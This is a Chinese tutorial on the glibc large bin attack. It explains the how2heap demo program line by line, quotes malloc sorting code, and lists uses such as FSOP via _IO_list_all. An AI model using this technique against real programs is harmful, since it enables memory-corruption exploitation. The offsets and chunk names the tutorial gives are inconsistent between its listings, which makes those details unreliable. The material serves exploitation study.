Large Bin Attack

  • 大小超过0x400

  • 结构与unsorted bin 基本相同,多bk_next_size & fd_next_size

  • 指向大小相对大或者小的堆块。

  • Large Bin 没有固定大小,有固定大小范围。


DEMO来自how2heap,这是一整个exp,接下来我会分开做解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x320);
malloc(0x20);

unsigned long *p2 = malloc(0x400);
malloc(0x20);

unsigned long *p3 = malloc(0x400);
malloc(0x20);

free(p1);
free(p2);
void* p4 = malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 0x10);
p2[3] = (unsigned long)(&stack_var2 - 0x20);

malloc(0x90);
return 0;
}

Demo解释

1
2
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

首先声明了两个目标变量 接下来我们会称其s1,s2

1
2
3
4
5
6
7
8
unsigned long *p1 = malloc(0x320); 
malloc(0x20);

unsigned long *p2 = malloc(0x400);
malloc(0x20);

unsigned long *p3 = malloc(0x400);
malloc(0x20);

这里申请了三个chunk,分别是p1,p2,p3,其中,p1属于small bin,p2p3 都属于large bin,每个chunk中间都申请了一个fastbin,防止三个chunk在free时被合并。

1
2
free(p1);
free(p2);

freep1,p2,p1,p2暂时进入unsorted bin list,现在,unsorted bin应该像这样:p1 - p2

1
void* p4 = malloc(0x90);

这句话比较重要,在申请p4的过程中,同时发生三件事 (注意,Unsorted bin 为 FIFO)

  1. 拿出现在最底部的chunk,计算大小,p1放入small bin list
  2. 拿出现在最底部的chunk,计算大小,p2放入large bin list
  3. 因为申请了一块0x90的内存,且unosorted bin list为空,从small bin list中拿出p1,并中分配一个 chunk 满足请求 0x90,接下来把剩下的0x330 - 0xa0 = 0x290放回unsorted bin list,我们称其remainder
1
free(p3);

释放掉了p3,此时unsorted bin listremainder <- p3

1
2
3
4
5
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

我们开始攻击,我们将p2(已经在large bin list中)的size修改为0x3f1(稍后解释为什么会需要shrink), bk修改为s1-0x10,bk_sz修改为s2-0x20,其他可以为0。大概长成这个样子:

1
2
3
4
5
6
7
8
9
prev_size,
size
fd,
target1-2,
fd_nz,
target2-4,

p2 --> bk = target1-0x10
p2 --> bk_nextsize = target2-0x20

最后

1
malloc(0x90);

我们再申请一个长度为0x90的空间,这个的作用和前面的差不多:

  • 拿出现在最底部的chunk,计算大小,remainder放入small bin list
  • 拿出现在最底部的chunk,计算大小, p4放入large bin list

也就是这一次的放入large bin触发了篡改。

放入 Large bin 的过程 (Glibc 2.23)

unsorted bin中拿出P3的时候,首先会判断P3应该归属的bin的类型,这里根据size判断出是large bin

1
2
3
4
5
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

接下来,会对size和上一个bin的大小做对比,通过不同的情况给large bin排序,由于上一个chunksize被我们修改过 =0x3f0,所以没有进入循环

1
2
3
4
5
6
7
8
//other code....
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}

接下来,会进入这里,要注意的是,我们进行过篡改的是上一个large bin,也就是fwd

我们之前把 fwdbk_nextsize 指向了s2,那么 victim->bk_nextsize->fd_nextsize = fwd->bk_nextsize->->fd_nextsize = *(s2 + 4) = victim,不过还有。

1
2
3
4
5
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

那么我们可以知道bck -> fd = fwd -> bk -> fd = fwd = victim

总结 large bin attack 的利用方法

现在我们来总结一下利用的条件:

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面
  • 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击
  • 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。